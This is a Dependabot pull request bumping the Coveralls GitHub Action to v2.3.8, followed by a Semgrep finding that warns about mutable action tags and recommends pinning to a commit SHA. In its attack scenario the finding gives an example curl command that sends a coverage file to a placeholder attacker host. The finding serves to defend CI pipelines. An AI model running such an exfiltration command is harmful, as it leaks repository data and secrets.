chore(deps): bump coverallsapp/github-action from 2.3.7 to 2.3.8

[dependabot]

Bumps coverallsapp/github-action from 2.3.7 to 2.3.8.

Release notes

Sourced from coverallsapp/github-action's releases.

v2.3.8

What's Changed

• README.md: Update GitHub Actions by @​cclauss in coverallsapp/github-action#259
• Spelling by @​jsoref in coverallsapp/github-action#258
• Fix macOS install for Homebrew 6.0.0 tap trust requirement by @​afinetooth in coverallsapp/github-action#265

New Contributors

• @​jsoref made their first contribution in coverallsapp/github-action#258

Full Changelog: coverallsapp/github-action@v2...v2.3.8

Commits

• 8d6379e Fix macOS install for Homebrew 6.0.0 tap trust requirement (#265)
• 0a51d2e Spelling (#258)
• dc7137b README.md: Update GitHub Actions (#259)
• ba6dae8 Revise README for clarity on integrations and support
• a5a505e Update README with new sections and information
• See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

[semgrep-code-mongodb]

Semgrep identified an issue in your code:

coverallsapp/github-action@v2.3.8 uses a movable tag, so this workflow can silently start running different code if that tag is repointed.

More details about this

coverallsapp/github-action@v2.3.8 is pulled by a version tag, not a full commit SHA. If the v2.3.8 tag is ever moved, this Coveralls GitHub Action step would run whatever code the tag points to inside your workflow.

A plausible attack looks like this:

1. An attacker gains control of the coverallsapp/github-action repository or its release process.
2. They repoint the v2.3.8 tag to a new commit that contains malicious action code.
3. Your workflow reaches - name: Coveralls GitHub Action and GitHub resolves uses: coverallsapp/github-action@v2.3.8 to that attacker-controlled commit.
4. The malicious action runs in your CI job after pnpm install and after the coverage files have been downloaded into coverage/.
5. That code can read the checked-out repository, inspect files like coverage/lcov.info, access any secrets or tokens exposed to this job, and send them to an attacker with a command such as curl -d @coverage/lcov.info https://attacker.example/exfil.

Because the reference is mutable, the code that runs here can change without any workflow diff in your repo.

To resolve this comment:

✨ Commit fix suggestion

1. Replace the mutable action reference with a full 40-character commit SHA in the uses line.
   Change coverallsapp/github-action@v2.3.8 to coverallsapp/github-action@<full-commit-sha>.

2. Keep the current version as a comment so the workflow still shows the intended release.
   Use the same format as uses: coverallsapp/github-action@<full-commit-sha> # v2.3.8.

3. Get the SHA from the v2.3.8 release or tag in the coverallsapp/github-action repository, and make sure it is the exact commit that tag points to.
   Pinning to a commit SHA prevents the action owner from silently moving the tag to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

• /fp <comment> for false positive
• /ar <comment> for acceptable risk
• /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

• Fix the code
• Reply /fp $reason (if security gap doesn’t exist)
• Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
• Reply /other $reason (e.g., test-only)

_{You can view more details about this finding in the Semgrep AppSec Platform.}